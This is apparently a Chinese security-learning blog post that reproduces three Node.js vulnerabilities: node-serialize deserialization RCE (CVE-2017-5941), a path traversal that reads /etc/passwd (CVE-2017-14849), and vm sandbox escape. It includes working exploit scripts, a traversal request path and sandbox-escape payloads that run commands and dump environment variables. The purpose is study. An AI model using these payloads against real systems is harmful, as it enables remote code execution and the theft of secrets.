· 4 min read · 719 words · Research

Nodejs进阶知识点

Node.js中的反序列化漏洞:CVE-2017-5941

这个漏洞针对于node-serialize@0.0.4这个版本

前置准备

# nodejs
sudo apt-get install nodejs
sudo apt-get install nodejs-legacy
# 版本号
node -v
# npm
sudo apt-get install npm
# 版本号
npm -v

# 下载对应版本
sudo npm install node-serialize@0.0.4 --save

建议在自己的vps下复现

我这里准备的比较粗糙,没有做好环境区分什么的

一个exp

我们直接搓一个index.js,内容如下,然后直接node运行

root@dkhkdB44QUxpXagmmGyT:~/test# cat index.js
// index.js
var serialize = require('node-serialize');
var chybeta = {
	vuln : function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});},
}
serResult = serialize.serialize(chybeta);
console.log("serialize result:");
console.log(serResult+'\n');
console.log("Direct unserialize:")
serialize.unserialize(serResult);
console.log("\n");
console.log("Use IIFE to PWN it:")
exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);
console.log(exp);
console.log("Exec whoami:")
serialize.unserialize(exp);

// node index.js


root@dkhkdB44QUxpXagmmGyT:~/test# node index.js
serialize result:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}"}

Direct unserialize:


Use IIFE to PWN it:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}()"}
Exec whoami:
root

我们会发现直接执行了whoami命令,那么这条反序列化是如何利用的呢

理论分析

  1. IIFE
    是一种立即调用函数表达式,在定义时候就会被执行的表达式(可以类比python中的海象表达式)
    IIFE相关内容
    exp
// 标准 IIFE
(function () {
  // 语句……
})();

// 箭头函数变体
(() => {
  // 语句……
})();

// 异步 IIFE
(async () => {
  // 语句……
})();
  1. 通常是需要括号括起来才能被正常解析

  2. 参数可以通过,也可以不提供

  3. 关于serialize.js中反序列化处理出错

root@dkhkdB44QUxpXagmmGyT:~/node_modules/node-serialize/lib# cat serialize.js
var FUNCFLAG = '_$$ND_FUNC$$_';
var CIRCULARFLAG = '_$$ND_CC$$_';
var KEYPATHSEPARATOR = '_$$.$$_';
var ISNATIVEFUNC = /^function\s*[^(]*\(.*\)\s*\{\s*\[native code\]\s*\}$/;

var getKeyPath = function(obj, path) {
  path = path.split(KEYPATHSEPARATOR);
  var currentObj = obj;
  path.forEach(function(p, index) {
    if (index) {
      currentObj = currentObj[p];
    }
  });
  return currentObj;
};

exports.serialize = function(obj, ignoreNativeFunc, outputObj, cache, path) {
  path = path || '$';
  cache = cache || {};
  cache[path] = obj;
  outputObj = outputObj || {};

  var key;
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'object' && obj[key] !== null) {
        var subKey;
        var found = false;
        for(subKey in cache) {
          if (cache.hasOwnProperty(subKey)) {
            if (cache[subKey] === obj[key]) {
              outputObj[key] = CIRCULARFLAG + subKey;
              found = true;
            }
          }
        }
        if (!found) {
          outputObj[key] = exports.serialize(obj[key], ignoreNativeFunc, outputObj[key], cache, path + KEYPATHSEPARATOR + key);
        }
      } else if(typeof obj[key] === 'function') {
        var funcStr = obj[key].toString();
        if(ISNATIVEFUNC.test(funcStr)) {
          if(ignoreNativeFunc) {
            funcStr = 'function() {throw new Error("Call a native function unserialized")}';
          } else {
            throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
          }
        }
        outputObj[key] = FUNCFLAG + funcStr;
      } else {
        outputObj[key] = obj[key];
      }
    }
  }

  return (path === '$') ? JSON.stringify(outputObj) : outputObj;
};

exports.unserialize = function(obj, originObj) {
  var isIndex;
  if (typeof obj === 'string') {
    obj = JSON.parse(obj);
    isIndex = true;
  }
  originObj = originObj || obj;

  var circularTasks = [];
  var key;
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'object') {
        obj[key] = exports.unserialize(obj[key], originObj);
      } else if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
        } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
          obj[key] = obj[key].substring(CIRCULARFLAG.length);
          circularTasks.push({obj: obj, key: key});
        }
      }
    }
  }

  if (isIndex) {
    circularTasks.forEach(function(task) {
      task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
    });
  }
  return obj;
};

注意看这段反序列化处理

exports.unserialize = function(obj, originObj) {
  var isIndex;
  if (typeof obj === 'string') {
    obj = JSON.parse(obj);
    isIndex = true;
  }
  originObj = originObj || obj;

  var circularTasks = [];
  var key;
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'object') {
        obj[key] = exports.unserialize(obj[key], originObj);
      } else if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
        } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
          obj[key] = obj[key].substring(CIRCULARFLAG.length);
          circularTasks.push({obj: obj, key: key});
        }
      }
    }
  }

  if (isIndex) {
    circularTasks.forEach(function(task) {
      task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
    });
  }
  return obj;
};

这里注意到有一句eval,是否可以进行命令执行呢

obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

这里的unserialize逻辑允许一种特殊字符串前缀FUNCFLAG(序列化时把函数变成字符串并加上前缀).攻击者能够控制 obj 的内容(未信任来源)。关键点:反序列化过程**把外部输入当“可执行代码的字符串”**处理。
我们构造一个IIFE,在调用这个版本的unserialize的时候,就能够杯执行(构造时要注意前缀等内容)

这里也是有一份现成的脚本

serialize = require('node-serialize');
var test = {
    exp : function(){
        require('child_process').exec('ls /', function(error, stdout, stderr){
            console.log(stdout)
        });
    },
}
console.log("序列化生成的payload:\n" + serialize.serialize(test));

// {"exp":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}"}

看一下逻辑就是用node-serialize这个库进行序列化(会自动带上标志前缀)

生成的payload被unserialize调用的时候就会被调用造成rce了

Node.js 目录穿越漏洞复现 CVE-2017-14849

复现的时候搭环境就有点问题,我本人并不喜欢在本地起docker,更喜欢在vps上进行操作,由于前几次git clone下来的文件内容都比较小,所以我也就随意clone了,然后vps上还存了三四个将来要打和复现的题目的docker环境,导致我原本2g的容量不太够,在vulhub想用svn单独clone这个漏洞的文件夹下来,发现一直报错(原因不明),后面我还是全clone下来了(没想到vulhub居然只占不到100mb)

直接起docker,然后burpsuit抓包
将GET方法的/改为/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件
如图所示

alt text

原理暂时还是无法理解(doge)
https://security.tencent.com/index.php/blog/msg/121

vm沙箱逃逸

煮波打了两天的春秋云镜,才拿到了第一个flag(已老实,这套靶场打完我会尽快的更新wp,尽量做到比包子王还要详细,工具的配置什么的我会讲的更加清楚,然后也会提供一个工具箱的地址,有的摸爬滚打真的只有自己体会了之后才能知道)

现在重新回来把VM沙箱逃逸的内容补充一下,Nodejs这块内容就算是告一段落了,后续要是还有什么很骚的姿势我会接着补充的

vm简介

vm模块能够在V8虚拟机上下文中编译和运行代码,隔离当前的执行环境,避免被恶意代码攻击

听着似乎是挺安全的,实际上呢?

逃逸例子

目前最常见的exp

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

运行之后造成了什么后果呢?

root@dkhkdB44QUxpXagmmGyT:~# node test.js
{
  SHELL: '/bin/bash',
  PWD: '/root',
  LOGNAME: 'root',
  XDG_SESSION_TYPE: 'tty',
  MOTD_SHOWN: 'pam',
  HOME: '/root',
  LANG: 'C.UTF-8',
  .......
}

爆了一地的装备,那这就很有意思了,明明说vm是提供了一个安全的隔离环境来运行js代码,那么这里为什么会爆装备呢

解释

在创建vm环境的时候,会先初始化一个对象,这里姑且叫做沙箱sandbox,这个对象就是在vm中执行脚本时的全局环境,这里叫做context,在这个vm脚本中,全局this指向这个对象,看如下

上面的exp可以等价于下面的这段代码

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

这里来逐行分析

第一行就是直接require一个vm
第二行就是先初始化一个对象sandbox,后续会作为vm这里的全局环境
第三行这里主要是一个this.constructor.constructor的问题
this.constructor.constructor返回的是一个Function constructor,然后这里我们就可以利用这个特性,利用function对象来构造一个函数并执行(也就是这里的return this.process.env)。其次的new vm.Script(codeString)就是把传入的 JavaScript 源码编译成一个可重复执行的 Script 对象,但并不立即执行
第四行vm.createContext(sandbox)的操作就是:把一个普通对象 sandbox “上下文化”(contextify)为 V8 的独立全局对象(context)。之后在这个 context 里运行的脚本,会把该 context 作为它的全局对象(globalThis / this)的基础
第五行script.runInContext(context):在先前 createContext 创建的 context(上下文)中执行 vm.Script 编译的代码并返回结果。相当于把编译好的代码“注入”到该 context 的全局里执行
后面就得到了env

但是要说这里面的根本原因,其实还是在creatContest这里

vm.createContext 并未移除 constructor 这类链条。通过对象构造器的链(this.constructor.constructor)可以取得 Function,而 Function 构造出来的函数运行在宿主全局,从而可以访问宿主的敏感全局(process、require 等)

同样的道理,配合上chile_process.exec()就可以进行rce了

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

Nodejs告一段落了,最近看了X1r0z大佬的博客,被他那么全面的技术栈震惊到了(居然还会区块链),每看一位大佬的博客,感觉都像是对我自己不足的一次警醒,起点已经比大家低很多了,所以要进行更多的学习